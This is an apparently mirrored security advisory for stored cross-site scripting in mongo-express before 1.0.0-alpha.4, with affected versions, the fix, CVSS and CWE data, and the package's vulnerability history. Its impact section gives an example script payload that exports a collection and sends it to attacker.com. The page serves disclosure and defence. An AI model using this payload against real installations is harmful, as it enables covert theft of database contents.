Cross-site scripting
Two kinds of XSS were found:
- As mentioned in https://github.com/mongo-express/mongo-express/issues/577 when the content of a cell grows larger than supported size, clicking on a row will show full document unescaped, however this needs admin interaction on cell.
- Data cells identified as media will be rendered as media, without being sanitized. Example of different renders: image, audio, video, etc.
Impact
As an example of type 1 attack, an unauthorized user who only can send a large amount of data in a field of a document may use this payload:
{"someField": "long string here to surpass the limit of document ...... <script> await fetch('http://localhost:8081/db/testdb/export/users').then( async res => await fetch('http://attacker.com?backup='+encodeURIComponent((await res.text())))) </script>" }
This will send an export of a collection to the attacker without even admin knowing. Other types of attacks such as dropping a database\collection are also possible.
Patches
Upgrade to v1.0.0-alpha.4
For more information
If you have any questions or comments about this advisory:
- Open an issue in mongo-express
- Email me at jafar.akhoondali@gmail.com
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | mongo-express | < 1.0.0-alpha.4 | 1.0.0-alpha.4 |
References
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N- Weakness (CWE)
CWE-79- Platform
- npm
- Package
mongo-express- Disclosed
- 28.06.2021
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-7p8h-86p5-wv3p - CC BY 4.0
Vulnerability history: mongo-express
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 4
- First → latest
- 12.2019 03.2024
- Without a fix
- 2
- Exploited in attacks
- 1
Severity breakdown
- Critical 1
- High 1
- Medium 2
Disclosures per year
- 2019: 1
- 2020: 0
- 2021: 2
- 2022: 0
- 2023: 0
- 2024: 1
- 2025: 0
- 2026: 0
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.